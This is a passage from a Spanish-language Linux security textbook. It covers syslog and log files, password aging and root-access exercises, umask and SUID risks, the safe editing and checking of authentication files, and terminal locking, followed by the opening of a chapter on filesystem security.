Con los sistemas GNU/Linux, el syslogd es un proceso daemon (demonio) que es configurado para escuchar la acción de log por varios sistemas y otros demonios. Luego este registrará al log la información requerida en un archivo central o repositorio para el análisis por programas filtros de patrones como son awk, grep y sed.

El utilitario syslog tiene un archivo de configuración llamado /etc/syslog.conf. Este archivo contiene reportes de diferentes niveles como son info, advertencias, urgencias y critico. Este también contiene el destino al que las respuestas deben de ser enviadas, tal como a un archivo o a un host remoto. Un ejemplo del archivo de configuración es:

```
#
#auth,authpriv.*                 -/var/log/auth.log
#*.*;auth,authpriv.none          -/var/log/syslog
#cron.*                          -/var/log/cron.log
#daemon.*                        -/var/log/daemon.log
#kern.*                          -/var/log/kern.log
#lpr.*                           -/var/log/lpr.log
#mail.*                          /var/log/mail.log
#user.*                          -/var/log/user.log
#uucp.*                          -/var/log/uucp.log
#local6.debug                    -/var/log/imapd.log
```

Las páginas man del syslog.conf proveen una mejor información en el formato de este archivo.

Localizaciones Adicionales del Archivo Log

A continuación están algunas de los archivos log mas comunes, usted puede encontrar por lo regular en varios sistemas GNU/Linux o distros:

/var/log/sulog En algunos sistemas, esto es usado para registrar el uso del comando su.
/etc/remote Esto contiene información del uso de UUCP. Usted también puede encontrar información en /var/spool/uucp.Admin.
/var/log/httpd Este contiene los archivos log del servidor Web, incluyendo errores como también acceso a la información.
/var/log/news Este contiene los archivos log para el demonio NNTP.

Usted debe siempre también tener cuidado y consultar los logs de varios servicios, incluyendo FTP, Samba y

así sucesivamente, para detectar actividades inusuales.

Ejercicio 4-3: Asegurar las Cuentas de Usuarios de GNU/Linux

No se proveen soluciones para este ejercicio:

1. Ingrese al sistema con la cuenta de root.
2. Use los siguientes comandos para examinar el estado actual de las variables del vencimiento de las contraseñas para su cuenta:

 # chage -l [su nombre de login]

3. Experimente con la expiración de la contraseñas de su cuenta. Por ejemplo, fije la cuenta para que expire el 1 de enero del 2012. Requiera un día para pasar entre los cambios y requiere que sea cambiada cada 28 días, advirtiendo 3 días antes de que los cambios sean necesarios:

 # chage -m 1 -M 28 -W 3 -E 01/01/2012 [su nombre de login]

4. Obligue a cambiar su contraseña inmediatamente:

 # chage -d 0 [su nombre de login]

5. Este comando trabaja con la configuración del ultimo día para el cambio de su contraseña para que sea el día 0 (01 de Enero del 1970). Esta fecha es suficientemente extensa antes de que su contraseña halla expirado y, así, debe de ser cambiada. Salga del sistema y luego ingrese de nuevo a ver que sucede.

Ejercicio 4-4: Examine las Disposiciones del Acceso a root

En este ejercicio, usted notará archivos a los cuales el acceso de root debe de ser definido o cambiado. No se proveen soluciones para este ejercicio.

1. Salga de el sistema e ingrese de nuevo, y escriba una contraseña equivocada a propósito. Inténtelo unas pocas veces. Luego examine el archivo /var/log/messages para verificar lo guardado de los fallos de acceso al sistema:

 # grep login /var/log/messages

2. Examine el archivo /etc/securetty en sus sistema. Este listará un grupo de nombres de dispositivos tales como tty1, tty2, así sucesivamente. Usando el comando su, conviértase en root y mueva el archivo /etc/securetty a un sitio de backup:

 # mv /etc/securetty /etc/securetty.dist

3. Ahora salga del sistema y trate de ingresar al mismo como root. Que paso? Finalmente, ingrese con su ID personal, obtenga privilegios usando el comando su, y reponga el archivo /etc/securetty.dist al /etc/securetty:

 # mv /etc/securetty.dist /etc/securetty

Control de Acceso a los Archivos

GNU/Linux es un sistema operativo multiusuario; en este sistema cada cuenta de usuario requiere permisos de archivos por separado. Esto preserva la privacidad individual de los usuarios. Los permisos también son necesarios para ejecutar comandos críticos; solo a los usuarios administrativos se les debe de permitir apagar y encender servicios, o reiniciar el sistema. Los programas también requieren permisos. Por ejemplo, el demonio de email debe de tener acceso a todas las cuentas de email en orden de enviar los nuevos correos. Estos diferentes niveles de permisos generalmente funcionan correctamente pero ocasionalmente pueden tener problemas.

Lista de Control de Acceso

Los permisos tradicionales del sistema, el esquema propietario/grupo/otros (UGO), permite al administrador de sistemas definir los permisos de acceso para tres clases de usuario: el propietario del archivo, el grupo que es propietario y el resto de los usuarios del sistema. Aunque el esquema UGO es suficiente para la mayoría de las situaciones, hay momentos en la cual no son efectivos. Las listas de control de acceso (ACLs) proveen la solución para estas situaciones complicadas. Las ACLs pueden sobrescribir el esquema tradicional UGO para

permitir que usuarios desconocidos y/o grupos accesen a archivos específicos sin garantizar el mismo acceso global.

Configuración umask

El comando umask es usado para cambiar los permisos por defecto. Cuando un archivo nuevo es creado, los permisos del archivo son ajustados por el programa creador basado en el valor de la variable de ambiente umask. La mascara de creación como es conocido es lo que permite que cada archivo o carpeta creado en GNU/Linux tengan sus permisos por defecto. El umask es un valor octal de cuatro dígitos de los cuales usualmente solo se usan tres: el primer dígito representa los valores posibles dentro del octal del 0-7 para los permisos especiales de Sticky-bit, SetUID y SetGID, este casi nunca es usado ya que la necesidad de archivos y carpetas con estos valores son muy escasos, el segundo dígito representa lo que es permitido para el propietario del archivo, el tercer dígito representa lo que es permitido para el grupo y el cuarto representa lo que es permitido para todos los demás usuarios. El umask por defecto en mi Fedora 13 es el 0022 para la cuenta de root, el cual da acceso de lectura/escritura/ejecución al propietario y solo le permite a los otros usuarios el acceso de lectura. Un umask de 000 les dará al propietario, grupo, y todos los otros usuarios acceso de lectura/escritura/ejecución. Un umask 777 denegará el acceso a todo el mundo. El valor del umask para los usuarios normales en mi Fedora es de 0002, que da los siguiente permisos un archivo y un directorio recien creados:

```
-rw-rw-r-- 1 antonio antonio    0 Feb  2 21:38 archivo
drwxrwxr-x 2 antonio antonio 4096 Feb  2 21:38 directorio/
```

Los usuarios no pueden ser requeridos para emplear ciertos umask, pero el por efecto para las nuevas cuentas pueden ser fijadas. El umask por defecto para archivos creados es usualmente ajustado en los archivos .login, .profile o .bashrc. Recuerde, el umask es el complemento de la configuración de los permisos.

Usando Acceso al Sistema basado en Grupos

El acceso a archivo y directorios pueden ser restringidos a varios grupos. Esto es útil cuando un gran número de personas necesitan acceso al archivo, pero no cada usuario puede tener acceso a este. Agregando los usuarios deseados al mismo grupo, el administrador de sistema solo necesita fijar los permisos a varios archivos o directorios una vez permitido la cantidad deseado de acceso para el grupo.

Riesgo de Seguridad de programas SUID

Los programas que se ejecutan con los bits de permisos especiales SUID son un riesgo de seguridad potencial y deben de ser monitoreado muy de cerca. Ya que estos programas conceden privilegios especiales al usuario que esta ejecutándolos, los programas inseguros no deben de ser instalados. Los crackers pueden romper los programas SUID y luego dejar otros programas SUID como backdoor, sin ni siquiera el problema original haya sido resuelto. El administrador de sistemas debe de estar enterado de todos los programas SUID en el sistema y monitorear cualquier actividad inusual con estos programas. El siguiente programa puede ser usado para buscar en un sistema de archivos par encontrar archivos con el bit de SUID y SGID ajustado:

```
[root@localhost ~]# find /sbin -type f -perm 04755 -o -perm 2755 >> permisos-especiales.txt
```

El comando chmod puede ser usado para eliminar los permisos SUID en un programa sospechoso. Sin embrago, es importante notar que algunos programas deben de tener permisos SUID para funcionar correctamente.

Desbordamiento del Buffer

Algunas llamadas de sistema programadas, tales como strco y sprintf, puede ser peligrosas debido a los problemas de desbordamiento de buffer. Algunos programas o llamadas al sistema no verifican errores para la

entrada en un buffer. Cuando la entrada dentro del buffer es mas larga que el mismo buffer, pueden ocurrir problemas. Desde que una computador no diferencia entre datos y un programa, el dato entrante desde el desbordamiento se convierte en la próxima instrucción del programa. Mientras la pila esta esperando la próxima instrucción para ser eso que le pide el programa, esta instrucción entonces es entregada por los datos en el desbordamiento. Ese desbordamiento del buffer puede fácilmente tomar el control de los programas que están en ejecución; esto puede presentar riesgos graves de seguridad ya que pueden ganar acceso a la cuenta de root.

Una vez el punto del desbordamiento del buffer ha sido determinado, un script puede ser ejecutado para realizar la tarea una y otra vez. Si un programa es ejecutado por root y se encuentra con problemas de desbordamiento de buffer, entonces códigos arbitrarios pueden ser ejecutados ya con los privilegios de root.

El Manejo del Salvaguardar Archivos

Precauciones deben ser tomadas cuando se esta manejando autenticación de archivos críticos tales como /etc/passwd. Si las precauciones no son tomadas, es posible que los archivos se corrompan. Esto puede conducir a que usuarios legítimos que han sido bloqueados en el sistema o usuarios no autorizados ganen acceso al sistema. Por lo tanto, es mala idea usar los editores tradicionales tales como vi o nano para editar los archivos como /etc/passwd, /etc/group, o /etc/sudoers.

Edición Segura de los Archivos de Información de Autenticación

Programas especiales hacen la edición segura de cada uno de los archivos de información de autenticación. Estos programas fijan los bloqueos apropiados y realizan cualquier proceso necesario en ellos antes de ser desbloqueados.

vipw

El programa vipw le permite al administrador editar el archivo /etc/passwd en un manera mas segura que la de los editores estándar permitiendo así como el manejo de cualquier proceso necesario de un archivo una vez que se ha terminado de editar. Si el archivo passwd esta siendo editado, un mensaje sera retornad al administrador que informara al usuario de esto y le dirá que trate de nuevo mas tarde. Cuando se esta ejecutando vipw, el editor por defecto vi es usado al menos que la variable de ambiente EDITOR haya sido cambiada a otro editor alterno. Mientras se edita el archivo passwd, el uso del vipw es idéntico al de vi si el editor por defecto n ha sido cambiado. Ademas, de permitir que edite el archivo passwd mas seguro, vipw realiza varias verificaciones de consistencia en la entrada de root en el archivo passwd. El vipw no permitirá la instalación de un archivo passwd que contenga una entrada incorrecta ajustada al formato de root.

Para iniciar vipw, el usuario solo necesita usar el comando vipw, asumiendo que vipw esta en la ruta. El formato para vipw es presentado a continuación:

$ vipw [-V] [--versión]

Mientras se esta ejecutando vipw, el usuario esta actualmente editando un archivo temporal, /etc/ptmp. Si el host se friza por alguna razón desconocida y se ve en la obligación de reiniciar el computador, sus datos modificados no perderán ya que el archivo /etc/ptmp no sera eliminado, lo cual evita ediciones futuras en el archivo /etc/passwd usando vipw. Este problema puede ser resuelto usualmente removiendo el archivo /etc/ptmp.

vigr

Este es idéntico a vipw excepto a que este es usado para editar el archivo de grupos. Al igual que vipw, este ajusta un bloqueo apropiado y hace cualquier procesamiento necesario cuando el archivo del grupo no es bloqueado. Si el archivo de grupo esta siendo editado, un mensaje similar al de vipw sera retornado al administrador diciendo que el archivo esta en uso y que el usuario debe de tratar de nuevo mas tarde. El formato

para vigr es presentado a continuación:

$ vigr [-V] [--versión]

En una manera similar que el vipw, mientras se esta ejecutando vigr, el usuario esta editando actualmente un archivo temporal /etc/gtmp. Si por algún motivo desconocido el sistema se friza, el archivo /etc/gtmp no sera removido y cualquier edición no sera permitida hasta que el problema no se halla resuelto.

visudo

Como los dos programas pasados, visudo es idéntico a vipw y vigr excepto que este es usado para editar el archivo sudoers. Como los otros programas, este ajusta los bloqueos apropiados y hace cualquier procesamiento cuando el archivo sudoers no esta bloqueado. Si el archivo esta siendo editado, un mensaje sera retornado al administrador indicando “Intente de nuevo mas tarde”. El formato para el comando visudo es presentado a continuación:

$ visudo [-s] [-V]

La opción -s obliga a visudo a realizar verificaciones estrictas en el archivo sudoers. La opción -V imprime el número de la versión de visudo y sale del programa.

Como en los otros programas, mientras se esta ejecutando visudo, el usuario esta editando un archivo temporal, /etc/sudoers.tmp. Si el computador por alguna razón desconocida se cuelga, el archivo /etc/sudoers.tmp no sera removido y cualquier edición no sera permitida mientras el problema no sea resuelto.

Verificando la Integridad de los Archivos de Información de Autentificación

Un archivo de información de autenticación mal formado puede conducir a riesgos de seguridad no deseados. Por esta razón, es importante que el administrador pruebe cada uno de esos archivo en una base regular.

pwck

El programa pwck verifica la integridad del archivo de contraseña, passwd y el archivo de contraseñas ya encriptadas shadow, ambos en la carpeta /etc/. Este verifica que todas las entradas hechas son formato correcto y contienen datos validos en cada uno de sus campos. El pwck asegura que cada entrada contiene el número correcto de campos, un usuario valido y identificador de grupo, un grupo primario valido, un directorio home valido y un valido shell de login. Esto también verifica para estar seguro que cada nombre de usuario en el archivo es único.

Si pwck descubre que una entrada tiene el número equivocado de campos, al usuario se le preguntará para que borre la entrada. Si el usuario se niega, todas las ejecuciones de borrados que iban a ser ejecutadas se omiten. Si pwck descubre que una entrada de nombre de usuario no es única, al usuario se le preguntará de nuevo si desea borrar la entrada. Sin embargo, si el usuario se niega, la verificación continua. Todos los problemas adicionales que son encontrados desplegarán un mensaje de precaución. El usuario debe de tomar ventaja del comando usermod para arreglar esos problemas. La sintaxis es mostrada a continuación:

$ pwck [-r] [password_file shadow_file]

La opción -r obliga a pwck a entrar en modo de solo lectura. Dentro de este, pwck no le dirá al usuario que realice cambios pero todavía informará que existe un problema con el archivo probado.

grpck

Muy parecido al programa pwck, grpck verifica la integridad del archiv de grupo, /etc/group, y su shadow,

/etc/gshadow. Este verifica que todas las entradas hechas están en formato correcto y contiene datos validos en cada uno de los campos, grpck asegura que cada entrada contienen el número correcto de campos, un único número de grupo y una lista validad de miembros y administradores.

Si grpck descubre que una entrada es incorrecta por el número de campos, el usuario sera preguntado para que borre la entrada. Si este se niega, el programa no le preguntara para que borre otra entrada si mas errores fueron encontrados. Al usuario se le preguntara si se borra la entrada si grpck descubre que una entrada del nombre de grupo no es única. En este caso, si el usuario se niega, verificaciones futuras continuaran.

Problemas adicionales que sn encontrados desplegaran una advertencia. El usuario debe de habilitar el comando groupmod para reparar este problema. La sintaxis de grpck es idéntica a pwck:

$ grpck [-r] [group shadow]

La opción -r obliga a grpck a entrar en modo de solo lectura. En modo de solo lectura, grpck no le dirá al usuario que realice cambios pero aún así le informará que existe un problema con el archivo probado.

Ambientes de Usuario

La seguridad del ambiente del usuario es un aspecto importante de todo sistema de seguridad y uno que no debe de ser pasado por alto cuando se configuran las cuentas de usuario. El grado de vulnerabilidad de un ambiente de usuario es controlando no solo por la previsión y la precaución tomada por un administrador de sistemas, pero también por la intensión y habilidades del usuario del sistema. Fallas en la parte de usuarios individuales para asegurar correctamente el ambiente de la cuenta puede proveer perjuicios para cada uno en el sistema.

Desde el ambiente de usuario este es el jefe en el punto de interacción con un sistema, este es el sitio en el que mas probable ocurren brechas de seguridad. Solo por que un usuario no tiene acceso a root no significa que no sea capaz de adquirir o de dañar información sensible del sistema o que otro usuario no sera capaz de usar su cuenta para otros propósitos. Debido a estas razones, hay varias pasos que los usuarios deben de tomar para restringir el acceso de otros usuarios o prevenir daños accidentales al sistema. Esta sección examinará una pequeña cantidad de utilidades disponibles para permitirles a los usuarios que puedan proveer un mejor nivel de control sobre los problemas potenciales de seguridad asociados a sus cuentas.

umask

Los permisos de archivos son una parte importante de la seguridad de GNU/Linux. Con el sistema de permisos de archivos implementados por los sistemas GNU/Linux, los usuarios pueden controlar el derecho de acceso de archivos y directorios en múltiples niveles. Para poder asegurar correctamente una cuenta de usuario, se debe de tener conocimiento de como trabajan los permisos de los archivos; un usuario puede inconscientemente estar proveyendo a otros usuarios con el acceso de lectura o cambiar confidencialmente o información delicada.

Una manera de salvaguardar los archivos y directorios creados dentro de una cuenta de usuario es implementando correctamente el utilitario umask. La mascara de permisos de archivos fija los permisos y estos serán automáticamente atribuidos a los archivos o directorios creados dentro del shell del usuario. El utilitario umask es usado para fijar o desplegar la mascara de permisos de archivos o directorios creados por los usuarios. Por ejemplo, si la mascara de permisos de archivo es fijada a 0022, luego los archivos normalmente creados por los usuarios serán creados con los permisos 755. Esencialmente, el valor de la mascara de los permisos de archivos es substraído desde el valor estándar del archivo que esta siendo creado. Hacer uso del utilitario umask

le permitirá a los usuarios tener todos los archivos o directorios creados dentro de una cuenta de usuario automáticamente asignando los permisos indicados por la mascara. Esto previene a los usuarios de la creación inadvertida de un archivo o directorio que le proveería al cracker con accesa a una cuenta o a otras áreas del sistema.

Para desplegar la configuración actual de la mascara de permisos, unicamente digite umask sin argumento en el prompt de la consola. Para cambiar el valor de la configuración, use la siguiente sintaxis:

$ umask [xxxx]

Donde [xxxx] es el valor de los 4 dígitos de la mascara de permisos de archivos que va a hacer cambiada. Una vez el valor de la mascara de permiso de archivos ha sido cambiado, el valor del permiso de cualquier archivo o directorio creado después del cambio, serán fijado de acuerdo al cambio. El comando umask puede ser insertado dentro del archivo oculto .bash_profile para así tener la mascara de los permisos de archivos fijados al valor deseado en cada login al sistema.

autologout

Para realzar la seguridad, algunas organizaciones animan al uso de practicas de seguridad al nivel mas bajo. Los usuarios que dejan sus pantallas sin atención por mucho tiempo pueden arriesgarse a que alguien accese los datos confidenciales o archivos en su estación de trabajo.

Uno de los mas peligrosos riesgos de seguridad es que alguien pueda tener acceso a un terminal que esta desatendida por el usuario. Esto no solo le da a los crackers otro nombre de usuario detrás del cual esconderse, pero este también le provee a los crackers la oportunidad de hacer cambios que ellos pueden usar mas tarde para propósitos maliciosos desde afuera de la cuenta.

En dicha situación una política debe de ser implantada para automáticamente apagar o sacar de sesión un terminal que este desatendida un un período de tiempo prudente. Puede ser un simple protector de pantalla (tal como xscreensaver) pueden estar configurado. Alternativamente, los programas disponibles para el publico como autologout pueden verificar por inactividad y obligar a que la sesión sea terminada.

Para salvaguardar en contra de esto, los usuarios deben de tomar ventajas de la variable del shell autologout para tener sus terminales automáticamente salir del sistema después de de haberse cumplido el periodo de inactividad. La variable autologout esta disponible en casi todas las versiones del C-shell. Para que los usuarios puedan ajustar el periodo de inactividad que debe de ocurrir antes que automáticamente se salga del sistema, ellos podrían agregar las siguientes lineas al archivo .cshrc en su directorio home.

set autlogout=[minutos]

Para poder prever que el usuario no pierda sus trabajos que no ha guardado en la aplicación que se encuentra trabajando en la actulaidad, el C-shell solo sacará del sistema si ocurre el proceso de inactividad en el prompt. Aunque es ideal que los usuarios salgan del sistema cuando no van a estar frente a su terminal de trabajo, uno debe por lo menos recordar guardar los trabajos y salir de cualquier aplicación que se este ejecutando.

mesg

Desde el punto de vista ideal de seguridad, nunca es seguro que ocurra un intercambio entre usuarios, ni en el mismo sistema o mucho menos en sitios remotos. Grandes pasos han sido tomados para desarrollar filtros y programas que autentiquen y verifiquen la seguridad de los e-mails. Hay una cantidad de pasos que deben de ser tomados en contra de programas como talk y write. Hay pequeños programas que les permiten a los usuarios chatear el uno con el otro en la linea de comandos. Aunque aparentemente seguros, ambos les permiten a los

crackers extraer de información dañina de los usuarios en el terminal. Por ejemplo, el programa write contiene un gran agujero de seguridad que le permitirá a un cracker ejecutar programas en otras terminales de usuarios bajo circunstancias apropiadas. También hay programas que les permitirán que comandos sean ejecutados en la terminal de otro usuario vía el comando talk. Ya que ambos programas envían su salida a la terminal de otro usuario sin el consentimiento de dicho usuario, es posible para un cracker enviar información a ese usuario sin su conocimiento o de tal manera que ellos no podrán detener el ataque.

Para poder controlar el acceso a una terminal vía programas de mensajes, los usuarios pueden usar el comando mesg para permitir o bloquear los mensajes. Argumentos disponibles son “y, n” los cuales permiten y bloquean mensajes respectivamente. Por ejemplo, si un usuario escribió lo siguiente:

$ mesg n

Los mensajes serán bloqueados, y los otros usuarios no podrán enviar mensajes al usuario de esa terminal. De igual modo, el siguiente comando habilitara los mensajes:

$ mesg y

Cualquiera de esos dos comandos deben de ser insertados dentro de una linea en el archivo .bash_profile para poder tener los mensajes automáticamente habilitados o bloqueados al ingresar al sistema.

El Bloqueo de la Consola

El bloqueo de la pantalla o del terminal les permite a los usuarios incrementar la seguridad en las consolas. Esto es importante en una configuración donde los usuarios no autorizados tienen acceso físico a las computadoras.

Los programas de bloquear pantallas inician un bloqueo gráfico en la terminal X Window o friza la terminal virtual actual. Una contraseña es requerida para poder resumir el uso del terminal. Este programa de bloqueo habilita a los usuarios poder dejar la sesión corriendo en su ausencia sin la amenaza de que usuarios sin autorización ganen acceso.

xlock

El xlock, o el nuevo xlockmore, bloquea un gráfico cambiante del servidor X y requiere verificación de contraseña para desbloquear la pantalla. Mientras se esta ejecutando xlock, nuevas conexiones al servidor son rechazadas y el salva pantalla (screensaver) es suspendido. Llamadas del mouse o del teclado pedirán por una contraseña.

vlock

El vlock es usado para bloquear la terminal virtual en una consola. La terminal desplegará un bloqueo de pantalla con un pedido de contraseña. Todos los golpes de teclas son incluidos en la entrada de la contraseña.

Salva Pantallas (screensaver)

Algunos manejadores del X Window tienen un screensaver que puede ser configurado para actuar como bloqueador de pantalla. GNOME y KDE ofrecen un bloqueo de pantalla que debe de ser configurado en el panel de control o desde el menú Sistema->Preferencias.

La verificación de contraseña para todos los bloqueadores de pantallas es idéntico al del login del usuario.

RESUMEN

En este capitulo cubrimos varios de los servicios de red. Algunos de los temas discutidos fueron:

- Pensar como un intruso potencial y el uso de esos pensamientos para identificar áreas en sus políticas de seguridad que necesitan ser mejoradas.
- Alternativas para ingresar al sistema como root, incluyendo su, sudo y Webmin.
- Scripts SUID, SGID y programas a menudo que ponen un alto riesgo de seguridad que la conveniencia de seguridad que ellos ofrecen.
- Una fuerte política de seguridad, incluyendo envejecimiento de contraseña y formato total de las contraseñas, es esencial para las políticas de seguridad del sistema.
- Monitorear la actividad de las cuentas y los archivos logs son un paso importante en el mantenimiento de sistemas seguros.

Preguntas Post-Examen

Las respuestas de estas preguntas se encuentran en el Apéndice A.

1. ¿Cuál término es utilizado para las cuentas privilegiadas en GNU/Linux?
2. En GNU/Linux, ¿qué función hacen los archivos utmp y wtmp?
3. ¿Cuáles son las características de las contraseñas fuertes?
4. ¿Cuáles campos contienen el archivo contraseña de GNU/Linux?
5. ¿Cuáles permisos tiene el archivo de contraseña shadow?
6. ¿Cuál es el propósito de la administración de sistemas de seguridad?

CAPITULO

5

SEGURIDAD

DEL SISTEMA OPERATIVO GNU/LINUX

ASEGURAR LAS PRACTICAS DEL SISTEMA

OBJETIVOS:

Al completar este capítulo, usted podrá:

- Listar y describir varias organizaciones que dan noticia de seguridad.
- Resumir las razones y el proceso de aplicarle parches al kernel.
- Describir las implementaciones de md5sum para probar integridad de archivos
- Listar los utilitarios mejor conocidos que envían mensajes al syslog como también las prioridades usadas para clasificar los mensajes que están almacenados en el log.
- Describir los tres utilitarios de monitorear los archivos log chklastlog, chkwtmp y logcheck.
- Resumir el uso de swatch y cadenas en el monitoreo de archivos logs.
- Resumir los beneficios del monitoreo de sistemas; describir la información de precaución de los archivos logs y los beneficios de revisar la seguridad.
- Resumir el uso del programa tripwire en la verificación para cambios no programados para los archivos del sistema a como también los elementos claves del programa.
- Listar, comparar y contrastar conscientemente la seguridad de varias distribuciones de GNU/Linux.

Preguntas Pre-Examen

Respuestas a estas preguntas se encuentran en el Apéndice A.

1. ¿Cómo puede el análisis del checksum ayudarlo a implementar seguridad?
2. ¿Qué es un inode en GNU/Linux?
3. ¿En cuáles dos maneras el comando chmod puede ser aplicado
4. ¿Desde que la mayoría de los intrusos accesan ilegalmente a su computador de noche, ¿como puede un administrados de sistema fácilmente monitorear la actividad de la red que tomo lugar después de horas laborares?

INTRODUCCION

Ahora que usted ha implementado autenticación y seguridad de cuentas, es vital revisar los procedimientos de mantenimiento del sistema que aseguraran que un sistema sigue siendo seguro. Los permisos de archivos protegen a los archivos, así estos pueden ser accesado por usuarios específicos. El acceso a los archivos esta basado en la propiedad de un archivo. La seguridad de un archivo en un sistema GNU/Linux depende en la propiedad y su configuración de protección. Los permisos de archivos especiales llamados SUID y SGID le permiten a un programa ser ejecutado con los privilegios de otro usuario. Mientras esto puede ser útil, esto también involucra muchos riesgos.

Los logs automatizados provistos por el sistema operativo proveen cierta información importante de seguridad. Usted debe regularmente observar esos logs y verificar en Internet por precauciones publicadas sobre vulnerabilidades que han sido encontradas en programas de sistemas que pueden afectar su operaciones. Los archivos pueden ser accesados directamente por los usuarios en la consola local y remotamente a través de la red. Usted necesita entender e implementar correctamente para alcanzar un completo control de acceso. Usted examinará ambos métodos en este capitulo, comenzando con el acceso directo a archivos.

Seguridad del Sistema de Archivos de GNU/Linux

En GNU/Linux, toda la información es almacenada en un objeto llamado archivo, el cual tiene un nombre asociado con el. Los archivos son almacenados en directorios, los cuales GNU/Linux también considera como archivos. Estos dos componentes hacen la estructura completa en el cual los datos son almacenados en un sistema GNU/Linux. La localización actual de las políticas y métodos de acceso opcional son todos llamados detalles de implementación, un área de administración y afinamiento del sistema.

El sistema de archivos de GNU/Linux tiene una estructura de almacenamiento jerárquica. Los archivos son organizados usando los directorios, dentro de una estructura jerárquica o árbol. Este capitulo enfoca en como los permisos son manejados en el sistema de archivos de GNU/Linux. Estos permisos controlan lo que el usuario puede accesar y como estos pueden accesarlos. El sistema de archivos es la manera básica en la cual la seguridad de GNU/Linux esta sustentada.

Los siguientes temas serán cubiertos en esta sección:

- Archivos y directorios
- Nombres de Archivos
- Nombres de Rutas
- Configuración del Usuario
- Permisos de Archivos
- Archivos

Archivos y Directorios

El sistema de archivos de GNU/Linux esta compuesto de archivos y directorios, con un directorio sencillos de root que provee acceso a todo los discos, archivos y directorios en el sistema. Los archivos son objetos singulares que almacenan datos tales como texto plano o un binario ejecutado. Un directorio es un contenedor en el cual archivos y otros directorios son ubicados para el propósito de la organización.

El sistema operativo GNU/Linux ha tomado el concepto de un archivo un paso adelante que muchos sistemas operativos: bajo GNU/Linux, todo es un archivo. El dispositivo físico en el sistema es accesado usando nombres de archivos especiales en el sistema de archivos. Bajo GNU/Linux, la memoria del sistema y los procesos que están en ejecución (o programas) son también accesibles a través del sistema de archivos.

La estructura de árbol jerárquico teóricamente no tiene límites de profundidad (aunque limitadas por el número de inodo en sistema de archivos) y puede ser extendida usando las facilidades de las redes para incluir discos y archivos en otros sistemas de mismo tipo al local o de otros.

El directorio actual es la posición actual en la cual esta el usuario dentro del árbol. Los usuarios ven el sistema de archivos de GNU/Linux como una gran estructura como la de un árbol. La raíz del árbol es un directorio especial al cual se le ha dado el nombre de "/" o "raíz". Los detalles de cual disco contiene los archivos o directorios es mantenido oculto a los usuarios, solo hay una jerarquía a considerar. Esto es un contraste a DOS o OS/2, donde cada dispositivo de disco tiene su propia jerarquía de sistema de archivos con su propia raíz. Este concepto es expandido para incorporar las disqueteras, discos duros externos, CD-ROMs y hasta discos enlazados a otras máquinas. Todo puede ser accesados de la misma manera vía directorios.

Hay descripciones detalladas de algunos de los directorios mas comunes y su contenido. Aunque no hay un estándar rígido para la ubicación o el nombre de estos, estos siguen los estándares básicos de GNU/Linux y la FHS:

/boot Este es un directorio que contiene el kernel del sistema operativo, cargado a memoria duran te el proceso de inicio; en sistemas comerciales SVR4, este directorio es llamado /stand, aun que muchos sistemas mantienen el kernel directamente bajo el directorio raíz.

/usr Este es un directorio que contiene la mayoría de los archivos del sistema.

/home Este es un directorio que contiene el directorio home de los usuarios.

/etc Este es un directorio que contiene los archivos de configuración del sistema.

/var Este es un directorio que contiene la información volátil del sistema (logs, archivos spooling, etc.). Los logs están en un estado de escritura constante, de esta manera muchos sistemas emplean un script automático para truncar su tamaño.

/dev Este contiene un número de archivos especiales cuyo propósito es permitirle acceso directa mente al dispositivo físico, tales como /dev/console (terminal principal) y /dev/fd0 (disquetera); los nombres para los archivos especiales difieren de fabricante a fabricante.

Algunos nombres comunes para los directorios son:

/bin Un nombre común para directorios que contienen programas accesibles por los usuarios.

/lib Típicamente contiene las librerías usadas en programas de desarrollo.

/sbin El nombre para directorios que contienen programas orientados al sistema.

/tmp Un directorio usado para la creación de archivos temporales.

Hay muchos mas directorios y archivos presentes en la mayoría de las distribuciones GNU/Linux.

Nombres de los Archivos

Los nombres de los archivos siguen un número de convenciones. Los nombres de los archivos pueden contener cualquier caracter ASCII excepto una barra (/), el cual es usado para separar directorios dentro de una especificación de ruta de nombre. Usted normalmente no encontrara muchos archivos con nombres que contienen dos puntos, punto y coma, comas y puntos. Los nombres de los archivos de GNU/Linux de tienen un nombre de extensión, aunque usted puede agregar un punto y una extensión si usted desea. A diferente a DOS y VMS, usted puede agregar mas de una extensión a un nombre de archivo. La mayoría de los ejemplos comunes que usted vera de esto es un archivo .tar.gz.

A diferencia de DOS, el cual requiere de uno a ocho caracteres para el nombre con un extensión a de uno a tres caracteres después de un punto (.exe), no hay formato impuesto en nombres de archivos en GNU/Linux, excepto no usar la barra. Los nombres de los archivos en GNU/Linux generalmente siguen una convención de separar un componente de tipo de archivo de un nombre de archivo por el uso de un punto. Esto le permite a muchos utilitarios de GNU/Linux generar un archivo de salida desde la entrada de otro archivo. El compilador

GCC, por ejemplo, recibe un archivo fuente de nombre terminado con un .c y da crea similarmente un archivo objeto nombrándolo con el mismo nombre pero al final con un .o en lugar de .c. Si un archivo se llama programa.c y es compilado por GCC resultaría entonces un archivo de nombre programa.o, en la carpeta actual.

Este método adoptado por GCC es puramente una convención, un acuerdo, ya que GNU/Linux no impone restricciones algunas a los formatos de nombres de archivos. Los nombres de archivos que comienzan con un punto, como son por ejemplo el archivo de configuración individual de los usuarios .bash_profile, son llamados archivos ocultos. Estos no son normalmente desplegados al listar el contenido de los directorios con comandos como ls y dir. Típicamente estos archivos ocultos contienen configuraciones personalizadas de las aplicaciones.

Aunque cualquier caracter esta permitido en un nombre de archivo, excepto la barra (/), en práctica, hay algunos caracteres que pueden causar dificultad, y ellos deben de ser evitados si es posible. Ejemplos de estos son:

- Un guion (-) como el primer caracter en un nombre
- Caracteres tales como ?, *, (,), &, [,], >, <. espacios y sangrías (tabulaciones) (estos tienen significados especiales en la linea de comando)
- Caracteres ASCII sin impresión

Nombres de Rutas

Los archivos son localizados por la incorporación de un esquema de nombre que el directorio nombra a lo largo de una ruta conduciendo cada nombre de archivo y nombre de archivo individual. Luego esto es llamado un nombre de archivo completamente calificado. Discutiremos las siguientes pautas y ejemplos:

- Un nombre de ruta absoluta describe la ruta al archivo o directorio empezando desde el directorio raíz “/”. **ej.: /usr/bin/tty**
- Un nombre de ruta relativo describe la ruta al archivo o directorio desde el directorio actual. **ej.: bin/tty**
- El directorio actual sera el punto de referencia si el nombre de la ruta no comienza con /.

Un nombre de ruta absoluta describe la ruta al archivo o directorio desde la raíz de el sistema de archivos. Por que el sistema de archivos esta organizado como un árbol con una sola raíz, cada archivo o directorio tendrá exactamente un nombre de ruta absoluto, así este puede ser pensado como una manera de identificación de un archivo única en el sistema de archivos.

